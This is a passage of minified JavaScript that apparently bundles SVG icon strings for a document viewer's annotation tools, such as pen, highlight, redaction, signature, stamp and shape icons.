11.1V5.7C19.2 4.7073 18.3927 3.9 17.4 3.9H14.7C14.7 3.4032 14.2977 3 13.8 3H8.4C7.9023 3 7.5 3.4032 7.5 3.9H4.8C3.8073 3.9 3 4.7073 3 5.7V17.4C3 18.3927 3.8073 19.2 4.8 19.2H11.1C11.1 20.1927 11.9073 21 12.9 21H19.2C20.1927 21 21 20.1927 21 19.2V12.9C21 11.9073 20.1927 11.1 19.2 11.1ZM11.1 12.9V17.4H4.8V5.7H7.5V7.5H14.7V5.7H17.4V11.1H12.9C11.9073 11.1 11.1 11.9073 11.1 12.9ZM12.9 19.2V12.9H19.2L19.2009 19.2H12.9Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - pen - fill</title><path class="cls-1" d="M21.45,5.77a2.09,2.09,0,0,1-.62,1.51l-9.16,9.16c-.09.08-.26.26-.44.26,0,0-4.18.9-4.42.89a1,1,0,0,1-.72-.13.67.67,0,0,1-.16-.73l.8-4.53c0-.18.08-.27.26-.45L13,5.8l3.2-3.2a2.2,2.2,0,0,1,3,0l1.66,1.66A2.34,2.34,0,0,1,21.45,5.77ZM10.28,15.18l-2-1.95a.12.12,0,0,0-.2.06l-.48,2.23A.32.32,0,0,0,8,15.9l2.26-.52A.12.12,0,0,0,10.28,15.18Z"></path><path class="cls-1" d="M18.91,19.66a1.13,1.13,0,0,1-1.35,1.82,5.82,5.82,0,0,0-2.09-1c-3.22-.85-4.57-.29-6.82.63l-.55.23A7.42,7.42,0,0,1,5.42,22a3,3,0,0,1-2-.69,2.38,2.38,0,0,1-.87-1.66,1.81,1.81,0,0,1,.59-1.36,9.16,9.16,0,0,1,.93-.78,1.13,1.13,0,0,1,1.58.23,1.14,1.14,0,0,1-.23,1.59,2.93,2.93,0,0,0-.42.33c.27.13.84.17,2.25-.4L7.8,19a10.81,10.81,0,0,1,8.25-.72A7.89,7.89,0,0,1,18.91,19.66Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - pen - highlight</title><path fill="default" class="cls-1" d="M19.9658 6.91017H19.92L16.2992 3.25267C16.1376 3.0909 15.9183 3 15.6896 3C15.4609 3 15.2416 3.0909 15.08 3.25267L7.82917 10.4118C7.68847 10.5239 7.59386 10.6837 7.56334 10.861L6.56417 15.2518L4.8225 17.4427H7.6275L8.73667 16.3335L12.2567 15.5452C12.4386 15.5144 12.6023 15.4162 12.715 15.2702L19.92 8.12934C20.2428 7.7936 20.2625 7.2692 19.9658 6.91017V6.91017ZM11.9083 13.5377L9.54334 11.1727L15.7583 5.0585L18.1233 7.4235L11.9083 13.5377Z"></path><path class="cls-1" d="M18.4167 17.2685C18.744 18.2557 18.9773 19.2716 19.1133 20.3027C18.2719 19.3853 17.15 18.7728 15.9233 18.561C14.8314 18.4146 13.7204 18.5244 12.6783 18.8818C11.4047 19.3332 10.1589 19.8597 8.9475 20.4585C7.81125 21.1097 6.50296 21.3975 5.19833 21.2835C4.80235 21.1839 4.45663 20.9426 4.22666 20.6052C4.14173 20.4738 4.07395 20.3321 4.025 20.1835C4.01028 20.0885 3.98252 19.9959 3.9425 19.9085C3.80542 19.4227 3.84105 18.9043 4.04333 18.4418C4.15136 18.1403 4.32695 17.8675 4.55667 17.6443L4.905 19.4135C4.79615 19.4335 4.71381 19.5233 4.70333 19.6335C4.70333 19.8993 5.79417 19.7527 6.67417 19.4227C7.31069 19.1708 7.92412 18.8641 8.5075 18.506C9.77851 17.691 11.1416 17.0294 12.5683 16.5352C13.7125 16.1519 14.9299 16.0389 16.125 16.2052C16.6842 16.3049 17.2193 16.5102 17.7017 16.8102C17.8758 16.8927 18.4167 17.2685 18.4167 17.2685Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - pen - line</title><path class="cls-1" d="M18.91,19.66a1.13,1.13,0,0,1-1.35,1.82,5.82,5.82,0,0,0-2.09-1c-3.22-.85-4.57-.29-6.82.63l-.55.23A7.42,7.42,0,0,1,5.42,22a3,3,0,0,1-2-.69,2.38,2.38,0,0,1-.87-1.66,1.81,1.81,0,0,1,.59-1.36,9.16,9.16,0,0,1,.93-.78,1.13,1.13,0,0,1,1.58.23,1.14,1.14,0,0,1-.23,1.59,2.93,2.93,0,0,0-.42.33c.27.13.84.17,2.25-.4L7.8,19a10.81,10.81,0,0,1,8.25-.72A7.89,7.89,0,0,1,18.91,19.66Z"></path><path fill="default" class="cls-1" d="M21.45,5.77a2.09,2.09,0,0,1-.62,1.51l-9.16,9.16c-.09.08-.26.26-.44.26,0,0-4.18.9-4.42.89a1,1,0,0,1-.72-.13.67.67,0,0,1-.16-.73l.8-4.53c0-.18.08-.27.26-.45L13,5.8l3.2-3.2a2.2,2.2,0,0,1,3,0l1.66,1.66A2.34,2.34,0,0,1,21.45,5.77ZM16.21,9.06,14.37,7.22,8.59,13l1.84,1.84Zm3.2-3.2L17.57,4,15.88,5.71l1.84,1.84Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M17.83,2.83H6.17A1.67,1.67,0,0,0,4.5,4.5v15a1.67,1.67,0,0,0,1.67,1.67H17.83A1.67,1.67,0,0,0,19.5,19.5V4.5A1.67,1.67,0,0,0,17.83,2.83ZM6.17,19.5V4.5H17.83v15Z"></path><path class="cls-1" d="M13.67,10.22H7.84v7.59h8.32V10.22Zm.38,4.88a.26.26,0,0,1,0,.38l-.58.58a.28.28,0,0,1-.38,0L12,15l-1.09,1.09a.28.28,0,0,1-.38,0L10,15.48a.28.28,0,0,1,0-.38L11,14,10,12.92a.28.28,0,0,1,0-.38l.58-.58a.26.26,0,0,1,.38,0L12,13.05,13.09,12a.26.26,0,0,1,.38,0l.58.58a.26.26,0,0,1,0,.38L13,14Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - redaction - full page</title><path class="cls-1" d="M18.36,2H5.64A1.82,1.82,0,0,0,3.82,3.82V20.18A1.82,1.82,0,0,0,5.64,22H18.36a1.82,1.82,0,0,0,1.82-1.82V3.82A1.82,1.82,0,0,0,18.36,2ZM5.64,20.18V3.82H18.36V20.18Z"></path><path class="cls-1" d="M12.91,5.66H7.45V18.34h9.1V5.66H12.91Zm1.94,4.53L13.05,12l1.8,1.81a.39.39,0,0,1,0,.56l-.48.48a.39.39,0,0,1-.56,0L12,13.05l-1.81,1.8a.39.39,0,0,1-.56,0l-.48-.48a.39.39,0,0,1,0-.56L11,12l-1.8-1.81a.39.39,0,0,1,0-.56l.48-.48a.39.39,0,0,1,.56,0L12,11l1.81-1.8a.39.39,0,0,1,.56,0l.48.48A.39.39,0,0,1,14.85,10.19Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - redaction - inline</title><path class="cls-1" d="M2.08,16.06H12.23v2H2.08Zm0-3H12.23V11H2.08Zm0-5.07H12.23v-2H2.08Z"></path><path class="cls-1" d="M21.8,9.39l-.87-.87a.4.4,0,0,0-.57,0l-2,2-2-2a.4.4,0,0,0-.57,0l-.87.87a.42.42,0,0,0,0,.57l2.05,2-2.05,2a.42.42,0,0,0,0,.57l.87.87a.4.4,0,0,0,.57,0l2-2,2,2a.4.4,0,0,0,.57,0l.87-.87a.4.4,0,0,0,0-.57l-2-2,2-2A.4.4,0,0,0,21.8,9.39Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M8.5 8C8.22386 8 8 8.22386 8 8.5V15.5C8 15.7761 8.22386 16 8.5 16H15.5C15.7761 16 16 15.7761 16 15.5V8.5C16 8.22386 15.7761 8 15.5 8H8.5ZM13.2374 14.2981L12.0001 13.0607L10.7626 14.2982L9.7019 13.2375L10.9394 12.0001L9.7019 10.7626L10.7626 9.7019L12.0001 10.9394L13.2374 9.70201L14.2981 10.7627L13.0607 12.0001L14.2981 13.2374L13.2374 14.2981Z" fill="none"></path><path d="M21.4778 18.2034C21.6137 18.0674 21.5427 17.8348 21.354 17.798L17.2862 17.0046C17.119 16.972 16.972 17.119 17.0046 17.2862L17.798 21.354C17.8348 21.5427 18.0674 21.6138 18.2034 21.4778L19.0255 20.6557C19.1192 20.562 19.2712 20.562 19.365 20.6557L20.6389 21.9297C20.7327 22.0234 20.8847 22.0234 20.9784 21.9297L21.9297 20.9784C22.0234 20.8847 22.0234 20.7327 21.9297 20.6389L20.6557 19.365C20.562 19.2712 20.562 19.1192 20.6557 19.0254L21.4778 18.2034Z" fill="black"></path><path d="M7 3H9V5H7V3Z" fill="black"></path><path d="M3 7H5V9H3V7Z" fill="black"></path><path d="M3 5C3 3.89543 3.89543 3 5 3V5H3Z" fill="black"></path><path d="M3 11H5V13H3V11Z" fill="black"></path><path d="M3 15H5V17H3V15Z" fill="black"></path><path d="M3 19H5V21C3.89543 21 3 20.1046 3 19Z" fill="black"></path><path d="M7 19H9V21H7V19Z" fill="black"></path><path d="M11 19H13V21H11V19Z" fill="black"></path><path d="M11 3H13V5H11V3Z" fill="black"></path><path d="M15 3H17V5H15V3Z" fill="black"></path><path d="M19 3C20.1046 3 21 3.89543 21 5H19V3Z" fill="black"></path><path d="M19 7H21V9H19V7Z" fill="black"></path><path d="M19 11H21V13H19V11Z" fill="black"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - select - pages</title><path d="M20 2H8C6.897 2 6 2.897 6 4V16C6 17.103 6.897 18 8 18H20C21.103 18 22 17.103 22 16V4C22 2.897 21.103 2 20 2ZM8 16V4H20L20.002 16H8Z" fill="#868E96"></path><path d="M4 8.00037H2V20.0004C2 21.1034 2.897 22.0004 4 22.0004H16V20.0004H4V8.00037ZM12.933 11.5194L11.207 9.79338L9.793 11.2074L13.067 14.4814L18.769 7.64137L17.231 6.35938L12.933 11.5194Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - shape - arrow</title><path class="cls-1" d="M14.66,7.57,5.09,17.14a.61.61,0,0,0,0,.85l.92.92a.61.61,0,0,0,.85,0l9.57-9.57L18.06,11a.6.6,0,0,0,1-.42v-5a.6.6,0,0,0-.6-.6h-5a.6.6,0,0,0-.42,1Z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M18.4,11.2C18,8,15.2,5.6,12,5.6c-2.5,0-4.8,1.5-5.7,3.8c-2,0.6-3.4,2.4-3.5,4.4c0,2.5,2.1,4.6,4.6,4.6h10.1 c2,0,3.7-1.7,3.6-3.7C21.1,13.1,20,11.6,18.4,11.2z M17.2,16.3H7.7c-1.4,0-2.6-1.2-2.6-2.6c0.1-1.3,1-2.4,2.3-2.6L7.9,11l0.2-0.5 c0.5-1.7,2.1-2.9,3.9-2.9c2.4,0,4.3,1.9,4.3,4.3v0.9h0.9c0.9,0,1.7,0.8,1.7,1.7C18.9,15.5,18.1,16.3,17.2,16.3z"></path><path fill="none" d="M17.2,16.3H7.7c-1.4,0-2.6-1.2-2.6-2.6c0.1-1.3,1-2.4,2.3-2.6L7.9,11l0.2-0.5c0.5-1.7,2.1-2.9,3.9-2.9 c2.4,0,4.3,1.9,4.3,4.3v0.9h0.9c0.9,0,1.7,0.8,1.7,1.7C18.9,15.5,18.1,16.3,17.2,16.3z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - shape - line</title><rect class="cls-1" x="3" y="10.75" width="18" height="2.5" rx="0.6" transform="translate(-4.97 12) rotate(-45)"></rect></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M12,2.8c-5.1,0-9.2,4.1-9.2,9.2s4.1,9.2,9.2,9.2s9.2-4.1,9.2-9.2C21.2,6.9,17.1,2.8,12,2.8z M12,18.8 c-3.8,0-6.9-3.1-6.9-6.9c0-3.8,3.1-6.9,6.9-6.9c3.8,0,6.9,3.1,6.9,6.9c0,0,0,0,0,0C18.9,15.8,15.8,18.9,12,18.8L12,18.8z"></path><path fill="none" d="M12,18.8c-3.8,0-6.9-3.1-6.9-6.9c0-3.8,3.1-6.9,6.9-6.9c3.8,0,6.9,3.1,6.9,6.9c0,0,0,0,0,0 C18.9,15.8,15.8,18.9,12,18.8L12,18.8z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M20.7,9.3l-8.1-5.8c-0.4-0.3-0.9-0.3-1.3,0L3.3,9.3c-0.4,0.3-0.6,0.8-0.4,1.2L6,20c0.1,0.4,0.5,0.7,1,0.8h10 c0.5,0,0.9-0.3,1-0.8l3.1-9.5C21.2,10.1,21.1,9.6,20.7,9.3z M16.1,18.5H7.9l-2.6-7.8L12,5.8l6.7,4.9L16.1,18.5z"></path><polygon fill="none" points="16.1,18.5 7.9,18.5 5.3,10.7 12,5.8 18.7,10.7 "></polygon></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - shape - polyline</title><path class="cls-1" d="M22.89,7.06l-.64-.64a.8.8,0,0,0-1.13,0l-6.77,6.77L10.23,9.07A1.66,1.66,0,0,0,9,8.58a1.69,1.69,0,0,0-1.2.49L1.11,15.8a.83.83,0,0,0-.23.57.79.79,0,0,0,.23.57l.64.64a.81.81,0,0,0,1.13,0L9,11.42l4.12,4.12a1.69,1.69,0,0,0,2.39,0L22.89,8.2a.83.83,0,0,0,.23-.57A.79.79,0,0,0,22.89,7.06Z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M19.3,3.8H4.7c-1,0-1.8,0.8-1.8,1.8v12.8c0,1,0.8,1.8,1.8,1.8h14.7c1,0,1.8-0.8,1.8-1.8V5.6 C21.2,4.6,20.3,3.7,19.3,3.8z M5.1,18V6h13.8v12H5.1z"></path><rect fill="none" x="5.1" y="6" width="13.8" height="12"></rect></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - signature</title><path class="cls-1" d="M20,12.66a1,1,0,0,0-1.27.7c-.21.77-1,3-2.39,3.45.08-.42.22-1,.32-1.33.41-1.58.71-2.71-.23-3.25a2,2,0,0,0-2.79.42,4.84,4.84,0,0,0-.55.93,7.14,7.14,0,0,1-2.18,2.81,3.12,3.12,0,0,1-1.12.33,2.47,2.47,0,0,1-1-.5,1.46,1.46,0,0,1-.21-.28c5.29-5.08,5.58-9.51,5.52-10.84a3.59,3.59,0,0,0-1.21-2.91A1,1,0,0,0,12.05,2c-2.86.59-4.63,4-5.57,10.83l-.05.25a7.89,7.89,0,0,0-.17,2.19L5.43,16A4.18,4.18,0,0,1,4.12,17a1.25,1.25,0,0,1,.19-.69A1,1,0,0,0,4,14.86a1.06,1.06,0,0,0-1.44.27,2.7,2.7,0,0,0,.18,3.48A1.8,1.8,0,0,0,3.94,19a4.45,4.45,0,0,0,2.88-1.54l.2-.17a2.09,2.09,0,0,0,.24.28A4.23,4.23,0,0,0,9.6,18.72,4.81,4.81,0,0,0,12.13,18a8.11,8.11,0,0,0,2.47-2.94c-.42,1.57-.64,2.58-.14,3.27a1.29,1.29,0,0,0,.94.54c2.37.27,4.35-1.6,5.29-5A1,1,0,0,0,20,12.66ZM11.87,4.23A4.1,4.1,0,0,1,12,5.42c0,1-.31,3.91-3.47,7.57C9,9.48,10,5.33,11.87,4.23Zm10.07,6.28a1.46,1.46,0,0,1-2.9,0,1.45,1.45,0,0,1,2.9,0Z"></path><rect class="cls-1" x="3.45" y="19.99" width="16.66" height="2.01"></rect></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - stamp - fill</title><path class="cls-1" d="M4,20.5H20V22H4Zm15.27-5H4.74a.76.76,0,0,0-.75.75V19H20V16.26A.76.76,0,0,0,19.26,15.51Z"></path><path class="cls-1" d="M9.14,11.82a7,7,0,0,1,.44,1.44H9v1.5h6v-1.5h-.58a6.08,6.08,0,0,1,.45-1.44,12.73,12.73,0,0,1,.81-1,5,5,0,0,0,1.57-3.54,5.26,5.26,0,0,0-10.51,0,5.06,5.06,0,0,0,1.58,3.56A12.78,12.78,0,0,1,9.14,11.82Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - stamp - line</title><path class="cls-1" d="M4,20.5H20V22H4Zm15.27-5H4.74a.76.76,0,0,0-.75.75V19H20V16.26A.76.76,0,0,0,19.26,15.51Z"></path><path class="cls-1" d="M15.68,10.79a5,5,0,0,0,1.57-3.54,5.26,5.26,0,0,0-10.51,0,5.06,5.06,0,0,0,1.58,3.56,12.78,12.78,0,0,1,.82,1,7,7,0,0,1,.44,1.44H9v1.5h6v-1.5h-.58a6.08,6.08,0,0,1,.45-1.44A12.73,12.73,0,0,1,15.68,10.79Zm-1.4-1.15c-.27.32-.59.7-.9,1.13A6.91,6.91,0,0,0,12.63,13H11.37a6.52,6.52,0,0,0-.76-2.18c-.31-.45-.65-.83-.91-1.15A3.25,3.25,0,0,1,8.56,7.25a3.44,3.44,0,1,1,6.88,0A3.35,3.35,0,0,1,14.28,9.64Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - text - free text</title><g><path class="cls-1" d="M19.39,4.77V7.64A.43.43,0,0,1,19,8h-.82a.41.41,0,0,1-.4-.41V6.51H13.34V18h1.54a.41.41,0,0,1,.41.41v.81a.41.41,0,0,1-.41.41H9.14a.41.41,0,0,1-.41-.41v-.81A.41.41,0,0,1,9.14,18h1.54V6.51H6.27V7.64A.41.41,0,0,1,5.86,8H5A.43.43,0,0,1,4.6,7.6V4.77A.41.41,0,0,1,5,4.36H19A.39.39,0,0,1,19.39,4.77Z"></path></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - free highlight</title><path class="cls-1" d="M19,17.58a18,18,0,0,1,.76,3.32A6.15,6.15,0,0,0,16.28,19a7.48,7.48,0,0,0-3.54.35,40.25,40.25,0,0,0-4.07,1.71A6.88,6.88,0,0,1,4.58,22a1.78,1.78,0,0,1-1.06-.74,2,2,0,0,1-.22-.47,2.46,2.46,0,0,1-.09-.29,2.61,2.61,0,0,1-.09-.57,2.67,2.67,0,0,1,.2-1A2.41,2.41,0,0,1,3.88,18s.38,1.94.38,1.94a.26.26,0,0,0-.22.24c0,.28,1.19.13,2.15-.23a13.82,13.82,0,0,0,2-1,20.62,20.62,0,0,1,4.43-2.15,8.38,8.38,0,0,1,3.88-.36,4.86,4.86,0,0,1,1.72.65Zm1.62-10-7.79,7.72a.58.58,0,0,1-.5.3l-3.84.86L7.17,17.78H4.11l2-2.47,1.08-4.79A.89.89,0,0,1,7.46,10l7.8-7.73a.08.08,0,0,1,0,0,.94.94,0,0,1,1.33,0l3.95,3.94.05,0A1,1,0,0,1,20.58,7.62Zm-2-.78L16,4.27l-6.7,6.6,2.57,2.58Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - tool - highlight</title><path class="cls-1" d="M9.91,13.07h3.86L11.84,8.46Zm5.46,3.68L14.62,15H9.05L7.77,18H5.63L10.45,6.64a1,1,0,0,1,1-.64h1a1.23,1.23,0,0,1,1,.64l2,4.91V4H5.85A2.22,2.22,0,0,0,3.63,6.22V17.78A2.22,2.22,0,0,0,5.85,20h9.52Z"></path><path fill="default" class="cls-1" d="M20.37,2V22h-2V2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - text manipulation - squiggly</title><path class="cls-1" d="M21,20V22a3,3,0,0,1-2.56-1.41c-.38-.51-.64-.64-1-.64s-.51.13-1,.64A3.34,3.34,0,0,1,13.79,22a3,3,0,0,1-2.56-1.41c-.38-.51-.64-.64-1-.64s-.52.13-1,.64A3.34,3.34,0,0,1,6.62,22a3,3,0,0,1-2.57-1.41c-.38-.51-.64-.64-1-.64V17.9a3,3,0,0,1,2.56,1.41c.38.51.64.64,1,.64s.51-.13,1-.64a3.32,3.32,0,0,1,2.57-1.41,3,3,0,0,1,2.56,1.41c.38.51.64.64,1,.64s.52-.13,1-.64a3.31,3.31,0,0,1,2.56-1.41A3,3,0,0,1,20,19.31C20.33,19.82,20.59,20,21,20Z"></path><path fill="default" class="cls-1" d="M8.79,12.77h6.67L17,16.36h2.56L13.92,2.64A1.34,1.34,0,0,0,12.77,2H11.62a1.24,1.24,0,0,0-1.16.77L4.69,16.36H7.26Zm3.34-7.95,2.31,5.51H9.82Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - text manipulation - strikethrough</title><rect class="cls-1" x="3.13" y="11.31" width="17.74" height="1.7"></rect><path fill="default" class="cls-1" d="M12,5l2.4,5.77h2.68l-3.28-8A1.49,1.49,0,0,0,12.64,2H11.49a1.24,1.24,0,0,0-1.16.77L7,10.73H9.59Zm3.25,8.62,2,4.74h2.57l-2-4.74ZM4.17,18.32H6.74l2-4.74H6.18Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - text manipulation - underline</title><rect class="cls-1" x="2.8" y="20.29" width="18.4" height="1.7"></rect><path fill="default" class="cls-1" d="M8.53,13.2h6.94l1.6,3.74h2.66L13.87,2.8a1.54,1.54,0,0,0-1.2-.8h-1.2a1.27,1.27,0,0,0-1.2.8l-6,14.14H6.93ZM12,5.07l2.4,5.73H9.6Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M16.949 14.121L19.071 12c1.948-1.949 1.948-5.122 0-7.071-1.95-1.95-5.123-1.948-7.071 0l-.707.707 1.414 1.414.707-.707c1.169-1.167 3.072-1.169 4.243 0 1.169 1.17 1.169 3.073 0 4.243l-2.122 2.121c-.247.247-.534.435-.844.57L13.414 12l1.414-1.414-.707-.707c-.943-.944-2.199-1.465-3.535-1.465-.235 0-.464.032-.691.066L3.707 2.293 2.293 3.707l18 18 1.414-1.414-5.536-5.536C16.448 14.573 16.709 14.361 16.949 14.121zM10.586 17.657c-1.169 1.167-3.072 1.169-4.243 0-1.169-1.17-1.169-3.073 0-4.243l1.476-1.475-1.414-1.414L4.929 12c-1.948 1.949-1.948 5.122 0 7.071.975.975 2.255 1.462 3.535 1.462 1.281 0 2.562-.487 3.536-1.462l.707-.707-1.414-1.414L10.586 17.657z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tools - more</title><path class="cls-1" d="M14.5,12A2.5,2.5,0,1,1,12,9.5,2.51,2.51,0,0,1,14.5,12ZM4.5,9.5A2.5,2.5,0,1,0,7,12,2.51,2.51,0,0,0,4.5,9.5Zm15,0A2.5,2.5,0,1,0,22,12,2.51,2.51,0,0,0,19.5,9.5Z"></path></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#d82e28;}.cls-2{fill:#868e96;}</style></defs><path class="cls-1" d="M5.21,17.17l12-12a.58.58,0,0,1,.82,0l.84.84a.58.58,0,0,1,0,.82l-12,12a.58.58,0,0,1-.82,0L5.17,18A.58.58,0,0,1,5.21,17.17Z"></path><path class="cls-2" d="M12,2.83A9.17,9.17,0,1,0,21.17,12,9.19,9.19,0,0,0,12,2.83Zm0,16A6.88,6.88,0,1,1,18.88,12,6.9,6.9,0,0,1,12,18.88Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-10 -5 25 25" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>Group</title><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Comments" transform="translate(-1488.000000, -305.000000)" fill="#979A9E"><g id="Group" transform="translate(1488.000000, 305.000000)"><rect id="Rectangle" x="0" y="0" width="4" height="11"></rect><rect id="Rectangle" x="0" y="13" width="4" height="4"></rect></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M14 12C12.905 12 12 11.095 12 10C12 9.646 12.103 9.317 12.268 9.027C12.178 9.02 12.092 9 12 9C10.358 9 9 10.359 9 12C9 13.642 10.358 15 12 15C13.641 15 15 13.642 15 12C15 11.908 14.98 11.822 14.973 11.732C14.683 11.897 14.354 12 14 12Z" fill="#868E96"></path><path d="M12 5C4.36704 5 2.07304 11.617 2.05204 11.684L1.94604 12L2.05105 12.316C2.07305 12.383 4.36704 19 12 19C19.633 19 21.927 12.383 21.948 12.316L22.054 12L21.949 11.684C21.927 11.617 19.633 5 12 5ZM12 17C6.64904 17 4.57604 13.154 4.07404 12C4.57804 10.842 6.65204 7 12 7C17.351 7 19.424 10.846 19.926 12C19.422 13.158 17.348 17 12 17Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill-rule:evenodd;clip-rule:evenodd;fill:none;} </style><rect id="Rectangle" class="st0"></rect><path d="M9,6v4H5V6H9 M9,4H5C3.9,4,3,4.9,3,6v4c0,1.1,0.9,2,2,2h4c1.1,0,2-0.9,2-2V6C11,4.9,10.1,4,9,4L9,4z M16.6,4.4 L16.6,4.4l3.1,2.6L17.1,10L14,7.4L16.6,4.4C16.6,4.4,16.6,4.4,16.6,4.4 M16.6,2.4c-0.6,0-1.1,0.2-1.5,0.7l-2.6,3.1 C11.8,7,11.9,8.3,12.7,9l3.1,2.6c0.4,0.3,0.8,0.5,1.3,0.5c0.6,0,1.1-0.2,1.5-0.7l2.6-3.1c0.7-0.8,0.6-2.1-0.2-2.8l-3.1-2.6 C17.5,2.5,17,2.4,16.6,2.4L16.6,2.4z M9,15v4H5v-4H9 M9,13H5c-1.1,0-2,0.9-2,2v4c0,1.1,0.9,2,2,2h4c1.1,0,2-0.9,2-2v-4 C11,13.9,10.1,13,9,13L9,13z M18,15v4h-4v-4H18 M18,13h-4c-1.1,0-2,0.9-2,2v4c0,1.1,0.9,2,2,2h4c1.1,0,2-0.9,2-2v-4 C20,13.9,19.1,13,18,13L18,13z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6.94H9.06V2.4C9.06 2.17909 8.88091 2 8.66 2H7.34C7.11909 2 6.94 2.17909 6.94 2.4V6.94H2.4C2.17909 6.94 2 7.11909 2 7.34V8.66C2 8.88091 2.17909 9.06 2.4 9.06H6.94V13.6C6.94 13.8209 7.11909 14 7.34 14H8.66C8.88091 14 9.06 13.8209 9.06 13.6V9.06H13.6C13.8209 9.06 14 8.88091 14 8.66V7.34C14 7.11909 13.8209 6.94 